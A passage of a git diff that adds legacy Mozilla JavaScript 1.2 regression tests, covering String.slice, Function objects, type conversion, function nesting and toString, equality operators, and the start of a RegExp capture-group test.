+var a = new String("abcdefghijklmnopqrstuvwxyz1234567890");
+var b = new String("this is a test string");
+
+exhaustiveStringSliceTest("exhaustive String.slice test 1", a);
+exhaustiveStringSliceTest("exhaustive String.slice test 2", b);
+
+test();
+
+
+function myStringSlice(a, from, to)
+{
+ var from2 = from;
+ var to2 = to;
+ var returnString = new String("");
+ var i;
+
+ if (from2 < 0) from2 = a.length + from;
+ if (to2 < 0) to2 = a.length + to;
+
+ if ((to2 > from2)&&(to2 > 0)&&(from2 < a.length))
+ {
+ if (from2 < 0) from2 = 0;
+ if (to2 > a.length) to2 = a.length;
+
+ for (i = from2; i < to2; ++i) returnString += a.charAt(i);
+ }
+ return returnString;
+}
+
+// This function tests the slice command on a String
+// passed in. The arguments passed into slice range in
+// value from -5 to the length of the array + 4. Every
+// combination of the two arguments is tested. The expected
+// result of the slice(...) method is calculated and
+// compared to the actual result from the slice(...) method.
+// If the Strings are not similar false is returned.
+function exhaustiveStringSliceTest(testname, a)
+{
+ var x = 0;
+ var y = 0;
+ var errorMessage;
+ var reason = "";
+ var passed = true;
+
+ for (x = -(2 + a.length); x <= (2 + a.length); x++)
+ for (y = (2 + a.length); y >= -(2 + a.length); y--)
+ {
+ var b = a.slice(x,y);
+ var c = myStringSlice(a,x,y);
+
+ if (String(b) != String(c))
+ {
+ errorMessage =
+ "ERROR: 'TEST FAILED' ERROR: 'TEST FAILED' ERROR: 'TEST FAILED'\n" +
+ " test: " + "a.slice(" + x + "," + y + ")\n" +
+ " a: " + String(a) + "\n" +
+ " actual result: " + String(b) + "\n" +
+ " expected result: " + String(c) + "\n";
+ writeHeaderToLog(errorMessage);
+ reason = reason + errorMessage;
+ passed = false;
+ }
+ }
+ var testCase = new TestCase(SECTION, testname, true, passed);
+ if (passed == false)
+ testCase.reason = reason;
+ return testCase;
+}
diff --git a/js/src/tests/js1_2/browser.js b/js/src/tests/js1_2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/browser.js
diff --git a/js/src/tests/js1_2/function/Function_object.js b/js/src/tests/js1_2/function/Function_object.js
new file mode 100644
index 000000000..a6af708e2
--- /dev/null
+++ b/js/src/tests/js1_2/function/Function_object.js
@@ -0,0 +1,54 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: Function_object.js
+ Description: 'Testing Function objects'
+
+ Author: Nick Lerissa
+ Date: April 17, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'functions: Function_object';
+
+writeHeaderToLog('Executing script: Function_object.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+function a_test_function(a,b,c)
+{
+ return a + b + c;
+}
+
+f = a_test_function;
+
+
+new TestCase( SECTION, "f.name",
+ 'a_test_function', f.name);
+
+new TestCase( SECTION, "f.length",
+ 3, f.length);
+
+new TestCase( SECTION, "f.arity",
+ 3, f.arity);
+
+new TestCase( SECTION, "f(2,3,4)",
+ 9, f(2,3,4));
+
+var fnName = (version() == 120) ? '' : 'anonymous';
+
+new TestCase( SECTION, "(new Function()).name",
+ fnName, (new Function()).name);
+
+new TestCase( SECTION, "(new Function()).toString()",
+ 'function ' + fnName + '() {\n}', (new Function()).toString());
+
+test();
+
diff --git a/js/src/tests/js1_2/function/Number.js b/js/src/tests/js1_2/function/Number.js
new file mode 100644
index 000000000..fa5288acf
--- /dev/null
+++ b/js/src/tests/js1_2/function/Number.js
@@ -0,0 +1,52 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: Number.js
+ Description: 'This tests the function Number(Object)'
+
+ Author: Nick Lerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+var TITLE = 'functions: Number';
+var BUGNUMBER="123435";
+
+startTest();
+writeHeaderToLog('Executing script: Number.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+date = new Date(2200);
+
+new TestCase( SECTION, "Number(new Date(2200)) ",
+ 2200, (Number(date)));
+new TestCase( SECTION, "Number(true) ",
+ 1, (Number(true)));
+new TestCase( SECTION, "Number(false) ",
+ 0, (Number(false)));
+new TestCase( SECTION, "Number('124') ",
+ 124, (Number('124')));
+new TestCase( SECTION, "Number('1.23') ",
+ 1.23, (Number('1.23')));
+new TestCase( SECTION, "Number({p:1}) ",
+ NaN, (Number({p:1})));
+new TestCase( SECTION, "Number(null) ",
+ 0, (Number(null)));
+new TestCase( SECTION, "Number(-45) ",
+ -45, (Number(-45)));
+
+// http://scopus.mcom.com/bugsplat/show_bug.cgi?id=123435
+// under js1.2, Number([1,2,3]) should return 3.
+
+new TestCase( SECTION, "Number([1,2,3]) ",
+ 3, (Number([1,2,3])));
+
+
+test();
+
diff --git a/js/src/tests/js1_2/function/String.js b/js/src/tests/js1_2/function/String.js
new file mode 100644
index 000000000..6f182d8f0
--- /dev/null
+++ b/js/src/tests/js1_2/function/String.js
@@ -0,0 +1,40 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: String.js
+ Description: 'This tests the function String(Object)'
+
+ Author: Nick Lerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'functions: String';
+
+writeHeaderToLog('Executing script: String.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "String(true) ",
+ 'true', (String(true)));
+new TestCase( SECTION, "String(false) ",
+ 'false', (String(false)));
+new TestCase( SECTION, "String(-124) ",
+ '-124', (String(-124)));
+new TestCase( SECTION, "String(1.23) ",
+ '1.23', (String(1.23)));
+new TestCase( SECTION, "String({p:1}) ",
+ '{p:1}', (String({p:1})));
+new TestCase( SECTION, "String(null) ",
+ 'null', (String(null)));
+new TestCase( SECTION, "String([1,2,3]) ",
+ '[1, 2, 3]', (String([1,2,3])));
+
+test();
+
diff --git a/js/src/tests/js1_2/function/browser.js b/js/src/tests/js1_2/function/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/function/browser.js
diff --git a/js/src/tests/js1_2/function/definition-1.js b/js/src/tests/js1_2/function/definition-1.js
new file mode 100644
index 000000000..bffd7590a
--- /dev/null
+++ b/js/src/tests/js1_2/function/definition-1.js
@@ -0,0 +1,43 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: definition-1.js
+ Reference: http://scopus.mcom.com/bugsplat/show_bug.cgi?id=111284
+ Description: Regression test for declaring functions.
+
+ Author: christine@netscape.com
+ Date: 15 June 1998
+*/
+
+var SECTION = "function/definition-1.js";
+var VERSION = "JS_12";
+startTest();
+var TITLE = "Regression test for 111284";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+f1 = function() { return "passed!" }
+
+ function f2() { f3 = function() { return "passed!" }; return f3(); }
+
+new TestCase( SECTION,
+ 'f1 = function() { return "passed!" }; f1()',
+ "passed!",
+ f1() );
+
+new TestCase( SECTION,
+ 'function f2() { f3 = function { return "passed!" }; return f3() }; f2()',
+ "passed!",
+ f2() );
+
+new TestCase( SECTION,
+ 'f3()',
+ "passed!",
+ f3() );
+
+test();
+
diff --git a/js/src/tests/js1_2/function/function-001-n.js b/js/src/tests/js1_2/function/function-001-n.js
new file mode 100644
index 000000000..fe547aa60
--- /dev/null
+++ b/js/src/tests/js1_2/function/function-001-n.js
@@ -0,0 +1,44 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ * File Name: boolean-001.js
+ * Description:
+ *
+ * http://scopus.mcom.com/bugsplat/show_bug.cgi?id=99232
+ *
+ * eval("function f(){}function g(){}") at top level is an error for JS1.2
+ * and above (missing ; between named function expressions), but declares f
+ * and g as functions below 1.2.
+ *
+ * Fails to produce error regardless of version:
+ * js> version(100)
+ * 120
+ * js> eval("function f(){}function g(){}")
+ * js> version(120);
+ * 100
+ * js> eval("function f(){}function g(){}")
+ * js>
+ * Author: christine@netscape.com
+ * Date: 11 August 1998
+ */
+var SECTION = "function-001.js";
+var VERSION = "JS1_1";
+var TITLE = "functions not separated by semicolons are errors in version 120 and higher";
+var BUGNUMBER="99232";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ SECTION,
+ "eval(\"function f(){}function g(){}\")",
+ "error",
+ eval("function f(){}function g(){}") );
+
+test();
+
diff --git a/js/src/tests/js1_2/function/length.js b/js/src/tests/js1_2/function/length.js
new file mode 100644
index 000000000..f679aa14e
--- /dev/null
+++ b/js/src/tests/js1_2/function/length.js
@@ -0,0 +1,63 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.3.5.1.js
+ ECMA Section: Function.length
+ Description:
+
+ The value of the length property is usually an integer that indicates the
+ "typical" number of arguments expected by the function. However, the
+ language permits the function to be invoked with some other number of
+ arguments. The behavior of a function when invoked on a number of arguments
+ other than the number specified by its length property depends on the function.
+
+ This checks the pre-ecma behavior Function.length.
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=104204
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "function/length.js";
+var VERSION = "ECMA_1";
+var TITLE = "Function.length";
+var BUGNUMBER="104204";
+
+startTest();
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var f = new Function( "a","b", "c", "return f.length");
+
+if ( version() <= 120 ) {
+
+ new TestCase( SECTION,
+ 'var f = new Function( "a","b", "c", "return f.length"); f()',
+ 0,
+ f() );
+
+ new TestCase( SECTION,
+ 'var f = new Function( "a","b", "c", "return f.length"); f(1,2,3,4,5)',
+ 5,
+ f(1,2,3,4,5) );
+} else {
+
+ new TestCase( SECTION,
+ 'var f = new Function( "a","b", "c", "return f.length"); f()',
+ 3,
+ f() );
+
+ new TestCase( SECTION,
+ 'var f = new Function( "a","b", "c", "return f.length"); f(1,2,3,4,5)',
+ 3,
+ f(1,2,3,4,5) );
+
+
+}
+test();
diff --git a/js/src/tests/js1_2/function/nesting-1.js b/js/src/tests/js1_2/function/nesting-1.js
new file mode 100644
index 000000000..334f1521a
--- /dev/null
+++ b/js/src/tests/js1_2/function/nesting-1.js
@@ -0,0 +1,31 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: nesting-1.js
+ Reference: http://scopus.mcom.com/bugsplat/show_bug.cgi?id=122040
+ Description: Regression test for a nested function
+
+ Author: christine@netscape.com
+ Date: 15 June 1998
+*/
+
+var SECTION = "function/nesting-1.js";
+var VERSION = "JS_12";
+startTest();
+var TITLE = "Regression test for 122040";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function f(a) {function g(b) {return a+b;}; return g;}; f(7);
+
+new TestCase( SECTION,
+ 'function f(a) {function g(b) {return a+b;}; return g;}; typeof f(7)',
+ "function",
+ typeof f(7) );
+
+test();
+
diff --git a/js/src/tests/js1_2/function/nesting.js b/js/src/tests/js1_2/function/nesting.js
new file mode 100644
index 000000000..1e1f18dc6
--- /dev/null
+++ b/js/src/tests/js1_2/function/nesting.js
@@ -0,0 +1,50 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: nesting.js
+ Description: 'This tests the nesting of functions'
+
+ Author: Nick Lerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'functions: nesting';
+
+writeHeaderToLog('Executing script: nesting.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function outer_func(x)
+{
+ var y = "outer";
+
+ new TestCase( SECTION, "outer:x ",
+ 1111, x);
+ new TestCase( SECTION, "outer:y ",
+ 'outer', y);
+ function inner_func(x)
+ {
+ var y = "inner";
+ new TestCase( SECTION, "inner:x ",
+ 2222, x);
+ new TestCase( SECTION, "inner:y ",
+ 'inner', y);
+ };
+
+ inner_func(2222);
+ new TestCase( SECTION, "outer:x ",
+ 1111, x);
+ new TestCase( SECTION, "outer:y ",
+ 'outer', y);
+}
+
+outer_func(1111);
+
+test();
+
diff --git a/js/src/tests/js1_2/function/regexparg-1.js b/js/src/tests/js1_2/function/regexparg-1.js
new file mode 100644
index 000000000..16c25bf9d
--- /dev/null
+++ b/js/src/tests/js1_2/function/regexparg-1.js
@@ -0,0 +1,71 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: regexparg-1.js
+ Description:
+
+ Regression test for
+ http://scopus/bugsplat/show_bug.cgi?id=122787
+ Passing a regular expression as the first constructor argument fails
+
+ Author: christine@netscape.com
+ Date: 15 June 1998
+*/
+
+var SECTION = "JS_1.2";
+var VERSION = "JS_1.2";
+startTest();
+var TITLE = "The variable statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+print("Note: Bug 61911 changed the behavior of typeof regexp in Gecko 1.9.");
+print("Prior to Gecko 1.9, typeof regexp returned 'function'.");
+print("However in Gecko 1.9 and later, typeof regexp will return 'object'.");
+
+function f(x) {return x;}
+
+x = f(/abc/);
+
+new TestCase( SECTION,
+ "function f(x) {return x;}; f()",
+ void 0,
+ f() );
+
+new TestCase( SECTION,
+ "f(\"hi\")",
+ "hi",
+ f("hi") );
+
+new TestCase( SECTION,
+ "new f(/abc/) +''",
+ "/abc/",
+ new f(/abc/) +"" );
+
+new TestCase( SECTION,
+ "f(/abc/)+'')",
+ "/abc/",
+ f(/abc/) +'');
+
+new TestCase( SECTION,
+ "typeof f(/abc/)",
+ "object",
+ typeof f(/abc/) );
+
+new TestCase( SECTION,
+ "typeof new f(/abc/)",
+ "object",
+ typeof new f(/abc/) );
+
+new TestCase( SECTION,
+ "x = new f(/abc/); x.exec(\"hi\")",
+ null,
+ x.exec("hi") );
+
+
+// js> x()
+test();
diff --git a/js/src/tests/js1_2/function/regexparg-2-n.js b/js/src/tests/js1_2/function/regexparg-2-n.js
new file mode 100644
index 000000000..f0f862dbc
--- /dev/null
+++ b/js/src/tests/js1_2/function/regexparg-2-n.js
@@ -0,0 +1,40 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: regexparg-1.js
+ Description:
+
+ Regression test for
+ http://scopus/bugsplat/show_bug.cgi?id=122787
+ Passing a regular expression as the first constructor argument fails
+
+ Author: christine@netscape.com
+ Date: 15 June 1998
+*/
+
+var SECTION = "JS_1.2";
+var VERSION = "JS_1.2";
+startTest();
+var TITLE = "The variable statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function f(x) {return x;}
+
+x = f(/abc/);
+
+DESCRIPTION = "function f(x) {return x;}; x = f(/abc/); x()";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "function f(x) {return x;}; x = f(/abc/); x()",
+ "error",
+ x() );
+
+test();
+
diff --git a/js/src/tests/js1_2/function/shell.js b/js/src/tests/js1_2/function/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/function/shell.js
diff --git a/js/src/tests/js1_2/function/tostring-1.js b/js/src/tests/js1_2/function/tostring-1.js
new file mode 100644
index 000000000..2f883410e
--- /dev/null
+++ b/js/src/tests/js1_2/function/tostring-1.js
@@ -0,0 +1,112 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: tostring-1.js
+ Section: Function.toString
+ Description:
+
+ Since the behavior of Function.toString() is implementation-dependent,
+ toString tests for function are not in the ECMA suite.
+
+ Currently, an attempt to parse the toString output for some functions
+ and verify that the result is something reasonable.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "tostring-1";
+var VERSION = "JS1_2";
+startTest();
+var TITLE = "Function.toString()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var tab = " ";
+
+t1 = new TestFunction( "stub", "value", tab + "return value;" );
+
+t2 = new TestFunction( "ToString", "object", tab+"return object + \"\";" );
+
+t3 = new TestFunction( "Add", "a, b, c, d, e", tab +"var s = a + b + c + d + e;\n" +
+ tab + "return s;" );
+
+t4 = new TestFunction( "noop", "value" );
+
+t5 = new TestFunction( "anonymous", "", tab+"return \"hello!\";" );
+
+var f = new Function( "return \"hello!\"");
+
+new TestCase( SECTION,
+ "stub.toString()",
+ t1.valueOf(),
+ stub.toString() );
+
+new TestCase( SECTION,
+ "ToString.toString()",
+ t2.valueOf(),
+ ToString.toString() );
+
+new TestCase( SECTION,
+ "Add.toString()",
+ t3.valueOf(),
+ Add.toString() );
+
+new TestCase( SECTION,
+ "noop.toString()",
+ t4.toString(),
+ noop.toString() );
+
+new TestCase( SECTION,
+ "f.toString()",
+ t5.toString(),
+ f.toString() );
+test();
+
+function noop( value ) {
+}
+function Add( a, b, c, d, e ) {
+ var s = a + b + c + d + e;
+ return s;
+}
+function stub( value ) {
+ return value;
+}
+function ToString( object ) {
+ return object + "";
+}
+
+function ToBoolean( value ) {
+ if ( value == 0 || value == NaN || value == false ) {
+ return false;
+ } else {
+ return true;
+ }
+}
+
+function TestFunction( name, args, body ) {
+ if ( name == "anonymous" && version() == 120 ) {
+ name = "";
+ }
+
+ this.name = name;
+ this.arguments = args.toString();
+ this.body = body;
+
+ /* the format of Function.toString() in JavaScript 1.2 is:
+ function name ( arguments ) {
+ body
+ }
+ */
+ this.value = "function " + (name ? name : "" )+
+ "("+args+") {\n"+ (( body ) ? body +"\n" : "") + "}";
+
+ this.toString = new Function( "return this.value" );
+ this.valueOf = new Function( "return this.value" );
+ return this;
+}
diff --git a/js/src/tests/js1_2/function/tostring-2.js b/js/src/tests/js1_2/function/tostring-2.js
new file mode 100644
index 000000000..feb22d709
--- /dev/null
+++ b/js/src/tests/js1_2/function/tostring-2.js
@@ -0,0 +1,155 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: tostring-1.js
+ Section: Function.toString
+ Description:
+
+ Since the behavior of Function.toString() is implementation-dependent,
+ toString tests for function are not in the ECMA suite.
+
+ Currently, an attempt to parse the toString output for some functions
+ and verify that the result is something reasonable.
+
+ This verifies
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=99212
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "tostring-2";
+var VERSION = "JS1_2";
+var TITLE = "Function.toString()";
+var BUGNUMBER="123444";
+startTest();
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var tab = " ";
+
+
+var equals = new TestFunction( "Equals", "a, b", tab+ "return a == b;" );
+function Equals (a, b) {
+ return a == b;
+}
+
+var reallyequals = new TestFunction( "ReallyEquals", "a, b",
+ ( version() <= 120 ) ? tab +"return a == b;" : tab +"return a === b;" );
+function ReallyEquals( a, b ) {
+ return a === b;
+}
+
+var doesntequal = new TestFunction( "DoesntEqual", "a, b", tab + "return a != b;" );
+function DoesntEqual( a, b ) {
+ return a != b;
+}
+
+var reallydoesntequal = new TestFunction( "ReallyDoesntEqual", "a, b",
+ ( version() <= 120 ) ? tab +"return a != b;" : tab +"return a !== b;" );
+function ReallyDoesntEqual( a, b ) {
+ return a !== b;
+}
+
+var testor = new TestFunction( "TestOr", "a", tab+"if (a == null || a == void 0) {\n"+
+ tab +tab+"return 0;\n"+tab+"} else {\n"+tab+tab+"return a;\n"+tab+"}" );
+function TestOr( a ) {
+ if ( a == null || a == void 0 )
+ return 0;
+ else
+ return a;
+}
+
+var testand = new TestFunction( "TestAnd", "a", tab+"if (a != null && a != void 0) {\n"+
+ tab+tab+"return a;\n" + tab+ "} else {\n"+tab+tab+"return 0;\n"+tab+"}" );
+function TestAnd( a ) {
+ if ( a != null && a != void 0 )
+ return a;
+ else
+ return 0;
+}
+
+var or = new TestFunction( "Or", "a, b", tab + "return a | b;" );
+function Or( a, b ) {
+ return a | b;
+}
+
+var and = new TestFunction( "And", "a, b", tab + "return a & b;" );
+function And( a, b ) {
+ return a & b;
+}
+
+var xor = new TestFunction( "XOr", "a, b", tab + "return a ^ b;" );
+function XOr( a, b ) {
+ return a ^ b;
+}
+
+new TestCase( SECTION,
+ "Equals.toString()",
+ equals.valueOf(),
+ Equals.toString() );
+
+new TestCase( SECTION,
+ "ReallyEquals.toString()",
+ reallyequals.valueOf(),
+ ReallyEquals.toString() );
+
+new TestCase( SECTION,
+ "DoesntEqual.toString()",
+ doesntequal.valueOf(),
+ DoesntEqual.toString() );
+
+new TestCase( SECTION,
+ "ReallyDoesntEqual.toString()",
+ reallydoesntequal.valueOf(),
+ ReallyDoesntEqual.toString() );
+
+new TestCase( SECTION,
+ "TestOr.toString()",
+ testor.valueOf(),
+ TestOr.toString() );
+
+new TestCase( SECTION,
+ "TestAnd.toString()",
+ testand.valueOf(),
+ TestAnd.toString() );
+
+new TestCase( SECTION,
+ "Or.toString()",
+ or.valueOf(),
+ Or.toString() );
+
+new TestCase( SECTION,
+ "And.toString()",
+ and.valueOf(),
+ And.toString() );
+
+new TestCase( SECTION,
+ "XOr.toString()",
+ xor.valueOf(),
+ XOr.toString() );
+
+test();
+
+function TestFunction( name, args, body ) {
+ this.name = name;
+ this.arguments = args.toString();
+ this.body = body;
+
+ /* the format of Function.toString() in JavaScript 1.2 is:
+ function name ( arguments ) {
+ body
+ }
+ */
+ this.value = "function " + (name ? name : "anonymous" )+
+ "("+args+") {\n"+ (( body ) ? body +"\n" : "") + "}";
+
+ this.toString = new Function( "return this.value" );
+ this.valueOf = new Function( "return this.value" );
+ return this;
+}
diff --git a/js/src/tests/js1_2/operator/browser.js b/js/src/tests/js1_2/operator/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/operator/browser.js
diff --git a/js/src/tests/js1_2/operator/equality.js b/js/src/tests/js1_2/operator/equality.js
new file mode 100644
index 000000000..facc0113b
--- /dev/null
+++ b/js/src/tests/js1_2/operator/equality.js
@@ -0,0 +1,39 @@
+// |reftest| skip -- obsolete test
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: equality.js
+ Description: 'This tests the operator =='
+
+ Author: Nick Lerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'operator "=="';
+
+writeHeaderToLog('Executing script: equality.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// the following two tests are incorrect
+//new TestCase( SECTION, "(new String('') == new String('')) ",
+// true, (new String('') == new String('')));
+
+//new TestCase( SECTION, "(new Boolean(true) == new Boolean(true)) ",
+// true, (new Boolean(true) == new Boolean(true)));
+
+new TestCase( SECTION, "(new String('x') == 'x') ",
+ false, (new String('x') == 'x'));
+
+new TestCase( SECTION, "('x' == new String('x')) ",
+ false, ('x' == new String('x')));
+
+
+test();
+
diff --git a/js/src/tests/js1_2/operator/shell.js b/js/src/tests/js1_2/operator/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/js1_2/operator/shell.js
diff --git a/js/src/tests/js1_2/operator/strictEquality.js b/js/src/tests/js1_2/operator/strictEquality.js
new file mode 100644
index 000000000..1bbbe0465
--- /dev/null
+++ b/js/src/tests/js1_2/operator/strictEquality.js
@@ -0,0 +1,59 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: strictEquality.js
+ Description: 'This tests the operator ==='
+
+ Author: Nick Lerissa
+ Date: Fri Feb 13 09:58:28 PST 1998
+*/
+
+var SECTION = 'As described in Netscape doc "Whats new in JavaScript 1.2"';
+var VERSION = 'no version';
+startTest();
+var TITLE = 'operator "==="';
+
+writeHeaderToLog('Executing script: strictEquality.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "('8' === 8) ",
+ false, ('8' === 8));
+
+new TestCase( SECTION, "(8 === 8) ",
+ true, (8 === 8));
+
+new TestCase( SECTION, "(8 === true) ",
+ false, (8 === true));
+
+new TestCase( SECTION, "(new String('') === new String('')) ",
+ false, (new String('') === new String('')));
+
+new TestCase( SECTION, "(new Boolean(true) === new Boolean(true))",
+ false, (new Boolean(true) === new Boolean(true)));
+
+var anObject = { one:1 , two:2 };
+
+new TestCase( SECTION, "(anObject === anObject) ",
+ true, (anObject === anObject));
+
+new TestCase( SECTION, "(anObject === { one:1 , two:2 }) ",
+ false, (anObject === { one:1 , two:2 }));
+
+new TestCase( SECTION, "({ one:1 , two:2 } === anObject) ",
+ false, ({ one:1 , two:2 } === anObject));
+
+new TestCase( SECTION, "(null === null) ",
+ true, (null === null));
+
+new TestCase( SECTION, "(null === 0) ",
+ false, (null === 0));
+
+new TestCase( SECTION, "(true === !false) ",
+ true, (true === !false));
+
+test();
+
diff --git a/js/src/tests/js1_2/regexp/RegExp_dollar_number.js b/js/src/tests/js1_2/regexp/RegExp_dollar_number.js
new file mode 100644
index 000000000..5bc1c8e51
--- /dev/null
+++ b/js/src/tests/js1_2/regexp/RegExp_dollar_number.js
@@ -0,0 +1,77 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ Filename: RegExp_dollar_number.js
+ Description: 'Tests RegExps $1, ..., $9 properties'
+
+ Author: Nick Lerissa
+ Date: March 12, 1998
+*/
+
+var SECTION = 'As described in Netscape doc "What\'s new in JavaScript 1.2"';
+var VERSION = 'no version';
+var TITLE = 'RegExp: $1, ..., $9';
+var BUGNUMBER="123802";
+
+startTest();
+writeHeaderToLog('Executing script: RegExp_dollar_number.js');
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$1
+'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/);
+new TestCase ( SECTION, "'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$1",
+ 'abcdefghi', RegExp.$1);
+
+// 'abcdefghi'.match(/(a(b(c(d(e)f)g)h)i)/); RegExp.$2
